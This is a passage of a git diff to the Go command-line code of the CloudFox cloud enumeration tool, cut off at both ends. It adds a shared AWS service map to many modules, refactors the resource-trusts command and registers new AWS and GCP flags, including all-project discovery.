fmt.Printf("[%s] Could not retrieve CAPE data.\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)))
|
||||
os.Exit(1)
|
||||
@@ -1338,13 +1419,14 @@ func runIamSimulatorCommand(cmd *cobra.Command, args []string) {
|
||||
continue
|
||||
}
|
||||
m := aws.IamSimulatorModule{
|
||||
IAMClient: iam.NewFromConfig(AWSConfig),
|
||||
Caller: *caller,
|
||||
AWSProfileProvided: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
IAMClient: iam.NewFromConfig(AWSConfig),
|
||||
Caller: *caller,
|
||||
AWSProfileProvided: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
IamSimulatorAdminCheckOnly: IamSimulatorAdminCheckOnly,
|
||||
}
|
||||
m.PrintIamSimulator(SimulatorPrincipal, SimulatorAction, SimulatorResource, AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1352,6 +1434,9 @@ func runIamSimulatorCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runInstancesCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -1370,6 +1455,7 @@ func runInstancesCommand(cmd *cobra.Command, args []string) {
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.Instances(InstancesFilter, AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1377,6 +1463,9 @@ func runInstancesCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runInventoryCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -1430,6 +1519,7 @@ func runInventoryCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintInventoryPerRegion(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1437,6 +1527,9 @@ func runInventoryCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runLambdasCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -1454,6 +1547,7 @@ func runLambdasCommand(cmd *cobra.Command, args []string) {
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintLambdas(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1461,6 +1555,9 @@ func runLambdasCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runOutboundAssumedRolesCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -1476,6 +1573,7 @@ func runOutboundAssumedRolesCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintOutboundRoleTrusts(OutboundAssumedRolesDays, AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1547,13 +1645,15 @@ func runPrincipalsCommand(cmd *cobra.Command, args []string) {
|
||||
continue
|
||||
}
|
||||
m := aws.IamPrincipalsModule{
|
||||
IAMClient: iam.NewFromConfig(AWSConfig),
|
||||
Caller: *caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
IAMClient: iam.NewFromConfig(AWSConfig),
|
||||
Caller: *caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
SkipAdminCheck: AWSSkipAdminCheck,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
}
|
||||
m.PrintIamPrincipals(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1561,6 +1661,9 @@ func runPrincipalsCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runRAMCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -1575,6 +1678,7 @@ func runRAMCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
ram.PrintRAM(AWSOutputDirectory, Verbosity)
|
||||
|
||||
@@ -1583,26 +1687,44 @@ func runRAMCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runResourceTrustsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
m := aws.ResourceTrustsModule{
|
||||
Caller: *caller,
|
||||
AWSProfileProvided: profile,
|
||||
Goroutines: Goroutines,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
WrapTable: AWSWrapTable,
|
||||
CloudFoxVersion: cmd.Root().Version,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
AWSConfig: AWSConfig,
|
||||
}
|
||||
m.PrintResources(AWSOutputDirectory, Verbosity)
|
||||
runResourceTrustsCommandWithProfile(cmd, args, profile)
|
||||
}
|
||||
}
|
||||
|
||||
func runResourceTrustsCommandWithProfile(cmd *cobra.Command, args []string, profile string) {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
var KMSClient sdk.KMSClientInterface = kms.NewFromConfig(AWSConfig)
|
||||
var APIGatewayClient sdk.APIGatewayClientInterface = apigateway.NewFromConfig(AWSConfig)
|
||||
var EC2Client sdk.AWSEC2ClientInterface = ec2.NewFromConfig(AWSConfig)
|
||||
var OpenSearchClient sdk.OpenSearchClientInterface = opensearch.NewFromConfig(AWSConfig)
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
m := aws.ResourceTrustsModule{
|
||||
KMSClient: &KMSClient,
|
||||
APIGatewayClient: &APIGatewayClient,
|
||||
EC2Client: &EC2Client,
|
||||
OpenSearchClient: &OpenSearchClient,
|
||||
|
||||
Caller: *caller,
|
||||
AWSProfileProvided: profile,
|
||||
Goroutines: Goroutines,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
WrapTable: AWSWrapTable,
|
||||
CloudFoxVersion: cmd.Root().Version,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
AWSConfig: AWSConfig,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintResources(AWSOutputDirectory, Verbosity, ResourceTrustsIncludeKms)
|
||||
}
|
||||
|
||||
func runRoleTrustCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
@@ -1649,6 +1771,9 @@ func runRoute53Command(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runSecretsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -1665,6 +1790,7 @@ func runSecretsCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintSecrets(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1694,6 +1820,9 @@ func runTagsCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runWorkloadsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -1714,6 +1843,7 @@ func runWorkloadsCommand(cmd *cobra.Command, args []string) {
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintWorkloads(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1721,6 +1851,9 @@ func runWorkloadsCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runDirectoryServicesCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
@@ -1735,6 +1868,7 @@ func runDirectoryServicesCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintDirectories(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1742,6 +1876,9 @@ func runDirectoryServicesCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runECSTasksCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
continue
|
||||
@@ -1760,6 +1897,7 @@ func runECSTasksCommand(cmd *cobra.Command, args []string) {
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.ECSTasks(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1767,6 +1905,9 @@ func runECSTasksCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runENICommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
continue
|
||||
@@ -1781,6 +1922,7 @@ func runENICommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.ElasticNetworkInterfaces(AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -1788,6 +1930,9 @@ func runENICommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
func runNetworkPortsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
sharedServiceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
|
||||
if err != nil {
|
||||
continue
|
||||
@@ -1808,6 +1953,7 @@ func runNetworkPortsCommand(cmd *cobra.Command, args []string) {
|
||||
Verbosity: Verbosity,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
ServiceMap: sharedServiceMap,
|
||||
}
|
||||
m.PrintNetworkPorts(AWSOutputDirectory)
|
||||
}
|
||||
@@ -1909,14 +2055,13 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
SQSClient: sqsClient,
|
||||
SSMClient: ssmClient,
|
||||
StepFunctionClient: stepFunctionClient,
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
}
|
||||
inventory2.PrintInventoryPerRegion(AWSOutputDirectory, Verbosity)
|
||||
|
||||
@@ -1961,11 +2106,10 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
instances.Instances(InstancesFilter, AWSOutputDirectory, Verbosity)
|
||||
route53 := aws.Route53Module{
|
||||
Route53Client: route53Client,
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
}
|
||||
|
||||
lambdasMod := aws.LambdasModule{
|
||||
@@ -1999,7 +2143,6 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
filesystems.PrintFilesystems(AWSOutputDirectory, Verbosity)
|
||||
|
||||
endpoints := aws.EndpointsModule{
|
||||
|
||||
EKSClient: eksClient,
|
||||
S3Client: s3Client,
|
||||
LambdaClient: lambdaClient,
|
||||
@@ -2015,14 +2158,13 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
CloudfrontClient: cloudfrontClient,
|
||||
AppRunnerClient: appRunnerClient,
|
||||
LightsailClient: lightsailClient,
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
}
|
||||
|
||||
endpoints.PrintEndpoints(AWSOutputDirectory, Verbosity)
|
||||
@@ -2030,12 +2172,11 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
gateways := aws.ApiGwModule{
|
||||
APIGatewayv2Client: apiGatewayv2Client,
|
||||
APIGatewayClient: apiGatewayClient,
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
}
|
||||
|
||||
gateways.PrintApiGws(AWSOutputDirectory, Verbosity)
|
||||
@@ -2056,10 +2197,9 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
databases.PrintDatabases(AWSOutputDirectory, Verbosity)
|
||||
|
||||
ecstasks := aws.ECSTasksModule{
|
||||
EC2Client: ec2Client,
|
||||
ECSClient: ecsClient,
|
||||
IAMClient: iamClient,
|
||||
|
||||
EC2Client: ec2Client,
|
||||
ECSClient: ecsClient,
|
||||
IAMClient: iamClient,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
@@ -2073,9 +2213,8 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
ecstasks.ECSTasks(AWSOutputDirectory, Verbosity)
|
||||
|
||||
eksCommand := aws.EKSModule{
|
||||
EKSClient: eksClient,
|
||||
IAMClient: iamClient,
|
||||
|
||||
EKSClient: eksClient,
|
||||
IAMClient: iamClient,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
@@ -2103,11 +2242,10 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
fmt.Printf("[%s] %s\n", cyan(emoji.Sprintf(":fox:cloudfox :fox:")), green("Looking for secrets hidden between the seat cushions."))
|
||||
|
||||
ec2UserData := aws.InstancesModule{
|
||||
EC2Client: ec2Client,
|
||||
IAMClient: iamClient,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
|
||||
EC2Client: ec2Client,
|
||||
IAMClient: iamClient,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
UserDataAttributesOnly: true,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
@@ -2117,7 +2255,6 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
}
|
||||
ec2UserData.Instances(InstancesFilter, AWSOutputDirectory, Verbosity)
|
||||
envsMod := aws.EnvsModule{
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
@@ -2183,14 +2320,13 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
secrets := aws.SecretsModule{
|
||||
SecretsManagerClient: secretsManagerClient,
|
||||
SSMClient: ssmClient,
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
}
|
||||
secrets.PrintSecrets(AWSOutputDirectory, Verbosity)
|
||||
|
||||
@@ -2224,10 +2360,8 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
networkPorts.PrintNetworkPorts(AWSOutputDirectory)
|
||||
|
||||
sqsMod := aws.SQSModule{
|
||||
SQSClient: sqsClient,
|
||||
|
||||
SQSClient: sqsClient,
|
||||
StorePolicies: StoreSQSAccessPolicies,
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
AWSProfile: profile,
|
||||
@@ -2241,19 +2375,7 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
cloudFoxSNSClient := aws.InitCloudFoxSNSClient(*caller, profile, cmd.Root().Version, Goroutines, AWSWrapTable, AWSMFAToken)
|
||||
cloudFoxSNSClient.PrintSNS(AWSOutputDirectory, Verbosity)
|
||||
|
||||
resourceTrustsCommand := aws.ResourceTrustsModule{
|
||||
Caller: *caller,
|
||||
AWSProfileProvided: profile,
|
||||
Goroutines: Goroutines,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
|
||||
WrapTable: AWSWrapTable,
|
||||
CloudFoxVersion: cmd.Root().Version,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
AWSMFAToken: AWSMFAToken,
|
||||
AWSConfig: AWSConfig,
|
||||
}
|
||||
resourceTrustsCommand.PrintResources(AWSOutputDirectory, Verbosity)
|
||||
runResourceTrustsCommandWithProfile(cmd, args, profile)
|
||||
|
||||
codeBuildCommand := aws.CodeBuildModule{
|
||||
CodeBuildClient: codeBuildClient,
|
||||
@@ -2375,9 +2497,6 @@ func init() {
|
||||
// Map Access Keys Module Flags
|
||||
AccessKeysCommand.Flags().StringVarP(&AccessKeysFilter, "filter", "f", "none", "Access key ID to search for")
|
||||
|
||||
// IAM Simulator Module Flags
|
||||
//IamSimulatorCommand.Flags().StringVarP(&IamSimulatorFilter, "filter", "f", "none", "Access key ID to search for")
|
||||
|
||||
// Instances Map Module Flags
|
||||
InstancesCommand.Flags().StringVarP(&InstancesFilter, "filter", "f", "all", "[InstanceID | InstanceIDsFile]")
|
||||
InstancesCommand.Flags().BoolVarP(&InstanceMapUserDataAttributesOnly, "userdata", "u", false, "Use this flag to retrieve only the userData attribute from EC2 instances.")
|
||||
@@ -2395,6 +2514,7 @@ func init() {
|
||||
IamSimulatorCommand.Flags().StringVar(&SimulatorPrincipal, "principal", "", "Principal Arn")
|
||||
IamSimulatorCommand.Flags().StringVar(&SimulatorAction, "action", "", "Action")
|
||||
IamSimulatorCommand.Flags().StringVar(&SimulatorResource, "resource", "*", "Resource")
|
||||
IamSimulatorCommand.Flags().BoolVar(&IamSimulatorAdminCheckOnly, "admin-check-only", false, "Only check check if principals are admin")
|
||||
|
||||
// iam-simulator module flags
|
||||
PermissionsCommand.Flags().StringVar(&PermissionsPrincipal, "principal", "", "Principal Arn")
|
||||
@@ -2408,10 +2528,15 @@ func init() {
|
||||
// cape command flags
|
||||
CapeCommand.Flags().BoolVar(&CapeAdminOnly, "admin-only", false, "Only return paths that lead to an admin role - much faster")
|
||||
//CapeCommand.Flags().StringVar(&CapeJobName, "job-name", "", "Name of the cape job")
|
||||
// flag that accepts a list of arns to ignore
|
||||
CapeCommand.Flags().StringVar(&CapeArnIgnoreList, "arn-ignore-list", "", "File containing a list of ARNs to ignore separated by newlines")
|
||||
|
||||
// cape tui command flags
|
||||
CapeTuiCmd.Flags().BoolVar(&CapeAdminOnly, "admin-only", false, "Only return paths that lead to an admin role - much faster")
|
||||
|
||||
// Resource Trust command flags
|
||||
ResourceTrustsCommand.Flags().BoolVar(&ResourceTrustsIncludeKms, "include-kms", false, "Include KMS keys in the output")
|
||||
|
||||
// Global flags for the AWS modules
|
||||
AWSCommands.PersistentFlags().StringVarP(&AWSProfile, "profile", "p", "", "AWS CLI Profile Name")
|
||||
AWSCommands.PersistentFlags().StringVarP(&AWSProfilesList, "profiles-list", "l", "", "File containing a AWS CLI profile names separated by newlines")
|
||||
|
||||
Regular → Executable
+512
-18
@@ -3,10 +3,14 @@ package cli
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/commands"
|
||||
oauthservice "github.com/BishopFox/cloudfox/gcp/services/oauthService"
|
||||
orgsservice "github.com/BishopFox/cloudfox/gcp/services/organizationsService"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -16,12 +20,20 @@ var (
|
||||
GCPProjectID string
|
||||
GCPProjectIDsFilePath string
|
||||
GCPProjectIDs []string
|
||||
GCPAllProjects bool
|
||||
|
||||
// Project name mapping (ProjectID -> DisplayName)
|
||||
GCPProjectNames map[string]string
|
||||
|
||||
// Output formatting options
|
||||
GCPOutputFormat string
|
||||
GCPOutputDirectory string
|
||||
GCPVerbosity int
|
||||
GCPWrapTable bool
|
||||
GCPFlatOutput bool
|
||||
|
||||
// Refresh cache flag - force re-enumeration even if cache exists
|
||||
GCPRefreshCache bool
|
||||
|
||||
// misc options
|
||||
// GCPIgnoreCache bool
|
||||
@@ -36,46 +48,442 @@ var (
|
||||
Long: `See "Available Commands" for GCP Modules below`,
|
||||
Short: "See \"Available Commands\" for GCP Modules below",
|
||||
PersistentPreRun: func(cmd *cobra.Command, args []string) {
|
||||
if GCPProjectID != "" {
|
||||
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
|
||||
} else if GCPProjectIDsFilePath != "" {
|
||||
GCPProjectIDs = internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
|
||||
} else {
|
||||
GCPLogger.InfoM("project or project-list flags not given, commands requiring a project ID will fail", "gcp")
|
||||
}
|
||||
// Create a context with this value to share it with subcommands at runtime
|
||||
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
|
||||
// Reset project IDs and names to avoid accumulation across commands
|
||||
GCPProjectIDs = nil
|
||||
GCPProjectNames = make(map[string]string)
|
||||
|
||||
// Set the context for this command which all subcommands can access via [SUBCMD].Parent().Context()
|
||||
// cmd.SetContext(ctx)
|
||||
// Handle project discovery based on flags
|
||||
// Priority: -p (single project) > -l (project list) > -A (all projects)
|
||||
if GCPProjectID != "" {
|
||||
// Single project specified with -p/--project
|
||||
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
|
||||
resolveProjectNames(GCPProjectIDs)
|
||||
} else if GCPProjectIDsFilePath != "" {
|
||||
// Project list specified with -l/--project-list
|
||||
rawProjectIDs := internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
|
||||
GCPProjectIDs = deduplicateProjectIDs(rawProjectIDs)
|
||||
resolveProjectNames(GCPProjectIDs)
|
||||
} else if GCPAllProjects {
|
||||
// Discover all accessible projects with -A/--all-projects
|
||||
GCPLogger.InfoM("Discovering all accessible projects...", "gcp")
|
||||
orgsSvc := orgsservice.New()
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("Failed to discover projects: %v. Try using -p or -l flags instead.", err), "gcp")
|
||||
}
|
||||
for _, proj := range projects {
|
||||
